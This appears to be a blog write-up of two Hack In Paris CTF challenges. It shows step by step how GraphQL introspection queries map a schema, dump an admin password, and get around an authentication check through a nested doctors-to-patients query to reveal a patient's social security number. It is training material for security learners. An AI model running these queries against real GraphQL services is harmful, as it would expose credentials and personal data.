Most CTFs fall on the weekend but every so often, I come across a mid-week CTF. Hack In Paris was one such event. Two of the challenges were related to GraphQL, a very useful querying language that I learned at my previous job. If you’re a developer and are able to try it out, I highly recommend it.
GraphQL is cool for a number of reasons, including being smart about collecting the requested data and fetching it in one request, instead of several roundtrips. For our purposes today, it has a number of other useful features, including the ability to query about the available queries and types, as well as a debugging interface called GraphQL Playground. Luckily for us, this “playground” was accessible for the first part of the challenge.
Meet Your Doctor 1
Our prompt is:
Please help me find the Meet your doctor Admin password
So, let’s get started.
Recon
If we visit the website, we see a generic list of doctors with calendars… but none of the links work. Except one. And that link goes to the /graphql
endpoint, which is the GraphQL Playground mentioned earlier. This is essentially a debugging tool meant for development, so you can figure out what kind of information each query (or mutation) results in.
We know that we want the password of the admin user, but we don’t know anything about the data structure. We don’t know what queries are available, what types are available, and so on. But we can easily remedy that.
Schema
First, let’s send over a general query about the GraphQL schema:
{
__schema {
types {
name
}
}
}
Enter that in on the lefthand side, then hit the big play button:
Types
As we can see, we get back a bunch of types, including “Doctor” (which looks promising) and “Query”. Let’s find out more about the Doctor type:
{
__type(name: "Doctor") {
name
fields {
name
type {
name
kind
}
}
}
}
Cool, so it has a password field on it.
Queries
So, we know what information we want (the admin doctor, although a list of all doctors would suffice). Now we have to figure out how to get that information. Let’s ask about the defined GraphQL queries available to us.
{
__schema {
queryType {
fields {
name
description
}
}
}
}
We see there’s a doctor
query, but a quick test of it shows that we need to provide an ID. Instead, let’s use the doctors
(plural) query and just grab the whole list.
One of the nice things about GraphQL is that you can specify which fields you want back from a given query. So even though the doctors query might have firstName, lastName, patients, email, password, etc. all available to us, we can ask for just the fields relevant to our current needs. I’ll ask for email and password only.
{
doctors {
email
password
}
}
If you scroll all the way down, you’ll see:
{
"email": "admin@notserious.com",
"password": "Now-_Let$|GetSeri0us"
}
The password is the flag for “Meet your doctor 1”.
Meet Your Doctor 2
The next level is Meet Your Doctor 2, which gives us this prompt:
I need to find the Patient 0 social security number! It is a matter of life and death
Dramatic.
If we go to the graphql
endpoint for this challenge at http://meetyourdoctor2.challs.malice.fr/graphql
, we see:
You can submit graphql queries as curl requests, which I did for a while. Then I realized I could repurpose the meetyourdoctor1
GraphQL Playground view to query meetyourdoctor2
instead, just by changing the specified URL. The GUI makes things much easier, since using curl often involve multi-line requests.
I assumed that the basic types were the same between challenges. So, let’s ask GraphQL about its Patient type:
{
__type(name: "Patient") {
name
fields {
name
type {
name
kind
}
}
}
}
The results come back that each Patient object has an id, firstName, lastName, doctor, and ssn. We’re interested in the ssn, so let’s make a patients
query. I know that the patients
query is an option, since it appeared in the earlier “show me all available queries” query.
But, I get this weird AuthenticationError message.
I wasn’t able to make much headway with that, so I tried a different approach. Doctor information also includes a list of patients. So, if we try to query that:
{
doctors {
firstName
specialty
patients {
id
ssn
}
}
}
We get the error: "message": "Field \"doctors\" argument \"options\" of type \"JSON!\" is required, but it was not provided."
Uh, okay. Cool. Let’s throw a random options array in as an argument, then.
{
doctors(options: "{}") {
firstName
specialty
patients {
id
ssn
}
}
}
This makes the errors go away but we get a bunch of null
s instead of the patients
array that we expected.
This was kind of silly but I just guessed that the options might include a true/false for including patient info, so I tried:
{
doctors(options: "{\"patients\":true}") {
firstName
specialty
patients {
id
ssn
}
}
}
…and it worked! If you scroll all the way down, you’ll see doctor “Admin” whose specialty is “Challenging”. Their only patient has a SSN of “b16cff8b-4a5a-41c8-8545-d9880fd7aae5”.
Note: there is a level 3 but I ran out of time to complete it. Unlike the first two levels, it has introspection disabled. This makes it significantly harder to learn about the different queries and types, so consider it when securing your GraphQL-based software!
Thanks to the organizers! It was a fun set of challenges. 🙂